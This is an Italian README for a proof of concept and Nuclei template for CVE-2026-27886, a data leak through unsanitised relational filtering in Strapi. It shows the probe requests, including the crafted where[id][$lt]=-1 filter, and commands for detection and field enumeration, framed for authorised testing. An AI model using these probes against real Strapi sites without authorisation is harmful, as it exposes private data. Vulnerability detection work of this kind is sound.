CVE-2026-27886 Strapi PoC

Solo per test di sicurezza autorizzati.

Strapi che perde dati sensibili tramite filtraggio relazionale a causa della mancanza di sanitizzazione delle query.

Include:

• CVE-2026-27886.py - PoC Python
• CVE-2026-27886.yaml - template Nuclei per il rilevamento

Cosa controlla

Il checker invia due richieste a un endpoint pubblico di una collection dell'API Content di Strapi:

GET /api/<collection>
GET /api/<collection>?where[id][$lt]=-1

Se la risposta di base contiene record e il falso predicato where riduce il set di risultati a zero, l'endpoint è probabilmente vulnerabile.

Utilizzo

Python

Controllo sicuro:

python3 CVE-2026-27886.py http://strapi/api/articles

Enumerazione dei campi:

python3 CVE-2026-27886.py http://strapi/api/articles --enum-fields

Nuclei

nuclei -t CVE-2026-27886.yaml -u http://strapi/api/articles